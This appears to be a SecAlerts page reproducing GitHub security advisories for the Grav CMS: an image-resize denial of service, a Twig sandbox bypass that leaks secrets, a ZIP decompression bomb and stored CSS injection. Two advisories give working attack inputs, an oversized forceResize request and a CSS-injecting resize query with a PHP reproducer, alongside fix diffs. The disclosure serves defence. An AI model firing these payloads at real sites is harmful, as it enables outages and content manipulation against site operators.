Details Grav::fallbackUrl() (system/src/Grav/Common/Grav.php:800-804) loops over every query parameter and, when the name matches ImageMedium::$magicactions, calls that method on the medium with the comma-split value as arguments:

php foreach ($uri->query(null, true) as $action => $params) { if (inarray($action, ImageMedium::$magicactions, true)) { calluserfuncarray([&$medium, $action], explode(',', $params)); } }

forceResize runs with force=true, so it sets the output size to the attacker's values with no clamp against the source or any ceiling. The getgrav/image GD adapter then calls imagecreatetruecolor($w, $h). libgd allocates that buffer outside PHP's emalloc, so memorylimit does not cap it. Grav exposes no system.images.maxwidth/maxheight setting.

PoC Any page that serves an image works. With a 200x150 source image:

GET /home/test.png?forceResize=20000,20000

Measured on PHP 8.4.21 with memorylimit=128M:

- peak worker RSS 3,109 MB - 21.9 s CPU - HTTP 200, 1.6 MB response

8000x8000 already needs ~244 MB. The cache key includes the dimensions, so varying them forces fresh work on every request.

Impact Unauthenticated denial of service against any Grav site that serves images. No account, plugin, or non-default config required.

Fix Clamp the request-derived dimensions before dispatch, behind a configurable cap. The image library is the wrong layer; bound the arguments at the request boundary.

diff --- a/system/src/Grav/Common/Grav.php +++ b/system/src/Grav/Common/Grav.php @@ public function fallbackUrl($path) foreach ($uri->query(null, true) as $action => $params) { if (inarray($action, ImageMedium::$magicactions, true)) { - calluserfuncarray([&$medium, $action], explode(',', $params)); + $args = explode(',', $params); + $max = (int) $config->get('system.images.maxdimension', 8000); + if ($max > 0 + && inarray($action, ['resize', 'forceResize', 'cropResize', 'cropZoom', 'zoomCrop', 'crop'], true)) { + foreach ($args as $a) { + if (isnumeric($a) && (int) $a > $max) { + return false; // reject oversized derivative request + } + } + } + calluserfuncarray([&$medium, $action], $args); } }

Document system.images.maxdimension (default 8000) so operators can tune it. A total-pixel ceiling (width height) is a stricter alternative.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Grav before 2.0.2 contains a Twig sandbox bypass that allows a page author (any admin.pages user, or anyone able to write to user/pages) to exfiltrate configuration secrets. Although the sandbox replaces the 'config' variable with a redacted facade and strips Config::get/toArray from the method allowlist, the raw container remains accessible via the allow-listed grav.offsetGet('config'), which returns the real Config object. Allow-listed object-dumping filters (jsonencode, printr, yamlencode) then serialize that object at the PHP level without invoking the sandbox method gate, exposing the full config tree including plugin secrets such as SMTP credentials, API keys, and plugin DB credentials. This is an incomplete fix for GHSA-j274-39qw-32c9.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Grav before 2.0.1 contains a decompression bomb vulnerability in ZipArchiver::extract() that lacks limits on uncompressed size, file count, and nesting depth. Attackers can supply a crafted ZIP archive that expands to fill available disk space, causing denial of service by exhausting storage resources.

First published (updated )
Severity
4.8
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Summary

Grav 2.0.0-rc.9 and the current 2.0 branch still allow stored CSS injection through Markdown image media actions. The prior media hardening rejects direct ?style= payloads and unsafe attribute() fallbacks, but the adjacent resize() action still writes caller-controlled values directly into styleAttributes.

A publisher who can edit page Markdown can store a crafted image URL that renders additional CSS declarations in the final <img style=...> attribute. This crosses the same lower-privileged publisher to higher-privileged reviewer/admin rendered-content boundary as the earlier media style and attribute advisories.

Impact

A lower-privileged content editor can persist CSS declarations that are rendered when a higher-privileged user views the page or admin preview. The demonstrated payload creates a full-viewport fixed overlay by injecting position:fixed, viewport dimensions, background color, and z-index declarations.

This does not require JavaScript execution. The impact is stored CSS injection in rendered content, with UI redress/overlay and content-manipulation risk in higher-privileged sessions.

Reproduction

Tested versions:

- Grav 2.0 branch commit 6582166173bb8eb5869d96aea384e0e73777c94c - Grav 2.0.0-rc.9 commit e03d29aa0d3ece16d73c1ffccfa78df8bf5f28b8

Minimal Markdown payload:

markdown !logo

A minimal PHPUnit-style reproducer can drive the same parser path directly:

php $m = new class { use \Grav\Common\Media\Traits\MediaObjectTrait; use \Grav\Common\Media\Traits\StaticResizeTrait;

public function addMetaFile($filepath) {} public function toString(): string { return ''; } public function url($reset = true) { return '/img.png'; } public function get($name, mixed $default = null, $separator = null) { return $default; } public function set($name, mixed $value, $separator = null) { return $this; } protected function createThumbnail($thumb) { return null; } protected function createLink(array $attributes) { return null; } protected function getItems(): array { return []; } };

$excerpts = new \Grav\Common\Page\Markdown\Excerpts(null, ['markdown' => [], 'images' => []]); $m = $excerpts->processMediaActions( $m, 'image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200' ); $element = $m->parsedownElement('', '', '', '', false); vardump($element['attributes']['style']);

Observed style attribute:

text width: 100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999px;height: 200px;

The appended px lands on the final z-index value, but the preceding injected declarations remain syntactically valid CSS.

Root Cause / Technical Details

system/src/Grav/Common/Page/Markdown/Excerpts.php::processMediaActions() parses the image query string into media actions and invokes the requested public media method with calluserfuncarray([$medium, $action['method']], $args).

For resize(), system/src/Grav/Common/Media/Traits/StaticResizeTrait.php::resize() stores width and height directly into style attributes:

php $this->styleAttributes['width'] = $width . 'px'; $this->styleAttributes['height'] = $height . 'px';

It does not verify that the values are numeric, length-only, or free of CSS declaration delimiters. Later, system/src/Grav/Common/Media/Traits/MediaObjectTrait.php::parsedownElement() serializes keyed style attributes as raw CSS declarations:

php $style .= $key . ': ' . $value . ';';

The sanitizer added for direct style() inputs is not reached for values introduced by resize(). As a result, resize=100;position:fixed;...,200 breaks out of the intended width: value and injects additional declarations.

PoC Evidence

On both current 2.0 and 2.0.0-rc.9, the targeted regression test produced the injected style string above. Existing tests still confirm the direct style() and attribute() paths are rejected; the bypass is specific to the adjacent resize() styleAttributes path.

Remediation

Sanitize or type-normalize all values before they enter styleAttributes, not only values passed through MediaObjectTrait::style(). For resize(), cast or validate width and height as numeric values before appending px, or use a shared CSS declaration builder that rejects semicolons, colons, property names, and other declaration-breaking characters. Add regression coverage for resize=100;position:fixed;top:0,200 and any other media action that writes to styleAttributes directly.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203